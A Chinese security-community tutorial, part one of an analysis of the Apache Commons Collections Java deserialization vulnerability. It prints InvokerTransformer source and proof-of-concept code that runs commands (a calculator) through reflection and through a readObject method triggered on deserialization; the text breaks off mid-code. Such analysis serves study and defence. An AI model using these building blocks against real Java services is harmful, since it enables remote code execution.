先知安全技术社区独家发文,如需转载,请先联系社区授权;未经授权请勿转载

前言:

玄铁重剑,是金庸小说笔下第一神剑。由「玄铁」制成,重八八六十四斤;由「剑魔」独孤求败所使,四十岁前持之无敌于天下。 独孤求败逝去后为杨过所得,并由独孤求败的「朋友」神雕引导,之后在神雕的指导下,也根据独孤求败的独门秘籍及练功方法,练成了一身天下无敌的剑法及内功心法。

主角:

CommonsCollection, commons-collections.jar

介绍:

Java Collections Framework 是JDK 1.2中的一个重要组成部分。它增加了许多强大的数据结构,加速了最重要的Java应用程序的开发。从那时起,它已经成为Java中集合处理的公认标准。官网介绍如下:

Commons Collections使用场景很广,很多商业,开源项目都使用到了commons-collections.jar。
很多组件,容器,cms(诸如WebLogic、WebSphere、JBoss、Jenkins、OpenNMS等)的rce漏洞都和Commons Collections反序列被披露事件有关。

正文:

光是在ysoserial中,Commons Collections反序列化漏洞就被分成了4组,分别是CommonsCollections1,CommonsCollections2,CommonsCollections3,CommonsCollections4,关于CommonsCollection的分析,由于篇幅过长,笔者会将其分为上下两篇。
CommonsCollections1是目测现在网上被分析的最多的一篇文章了吧,随便搜索一下,就可以看到很多分析的文章。我这里整理几篇分析比较经典的文章,如果你想深入了解,强烈建议静下心来好好阅读一番。http://wooyun.jozxing.cc/static/drops/papers-10467.html
https://security.tencent.com/index.php/blog/msg/97
在org.apache.commons.collections.functors.InvokerTransformer.java的位置,其transform函数内容如下:

public Object transform(Object input) {
if (input == null) {
    return null;
}
try {
    Class cls = input.getClass();
    Method method = cls.getMethod(iMethodName, iParamTypes);
    return method.invoke(input, iArgs);

} catch (NoSuchMethodException ex) {
    throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException ex) {
    throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException ex) {
    throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
}
}

在这个函数中,调用了java反射机制,下面写一个正常的例子测试一下:

InvokerTransformer invokerTransformer = new InvokerTransformer("append", new Class[]{String.class}, new Object[]{new String("sb")});
Object result = invokerTransformer.transform(new StringBuffer("who am i")) ;
System.out.printf(result.toString());

有些朋友会想,那么我该如何去执行命令呢?java常见执行命令的方式有两个,分别是 new processBuilder(cmd).start()和Runtime.getRuntime().exec(cmd)。我们可以构造如下代码:
运行下面这段代码可以弹出计算器,mac下

String[] cmds = new String[]{"open", "/Applications/Calculator.app/"};
InvokerTransformer invokerTransformer1 = new InvokerTransformer("exec", new Class[]{String[].class}, new Object[]{cmds});
invokerTransformer1.transform(Runtime.getRuntime());

win下

String[] cmds = new String[]{"calc.exe"};
InvokerTransformer invokerTransformer1 = new InvokerTransformer("exec", new Class[]{String[].class}, new Object[]{cmds});
invokerTransformer1.transform(Runtime.getRuntime());

当然这样也可以

ProcessBuilder processBuilder = new ProcessBuilder("open", "/Applications/Calculator.app/");
InvokerTransformer invokerTransformer1 = new InvokerTransformer("start", new Class[]{}, new Object[]{});
invokerTransformer1.transform(processBuilder);

案例

java有一个特征,不管经过几层封装,封装成什么类型,最终在readObject的时候,都会按照被封装的倒序去执行readObject。(ps:这是一段极其抽象的话,为了解释这段抽象的话,我画了一个看起来很抽象的画,在下师从抽象派大师梵高)

即使最后是读者们执行readObject,最后也会一层一层到上帝来执行readObject,具体例子如下:

public class A implements Serializable {
private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException {
    try {
        System.out.printf("whoami");
        new ProcessBuilder("calc.exe").start();
    } catch (IOException e) {
        e.printStackTrace();
    }
}
}

public class Main {
public static class A implements Serializable {
    private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException {
        try {
            System.out.printf("whoami");
            //Runtime.getRuntime().exec(new String[]{"calc.exe"});
            new ProcessBuilder("calc.exe").start();
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

public static void main(String[] args) {
    try {
        //写对象到文件中
        writeObjectToFile();
        //从文件中反序列化obj对象
        FileInputStream fis = new FileInputStream("object.txt");
        ObjectInputStream ois = new ObjectInputStream(fis);
        ois.readObject();
        ois.close();
    } catch (Exception e) {
        e.printStackTrace();
    }

}

public static void writeObjectToFile() throws FileNotFoundException, IOException {
    A myObj = new A();
    FileOutputStream fos = new FileOutputStream("object.txt");
    ObjectOutputStream os = new ObjectOutputStream(fos);
    os.writeObject(myObj);
    os.close();
点击收藏 | 4 关注 | 3
登录 后跟帖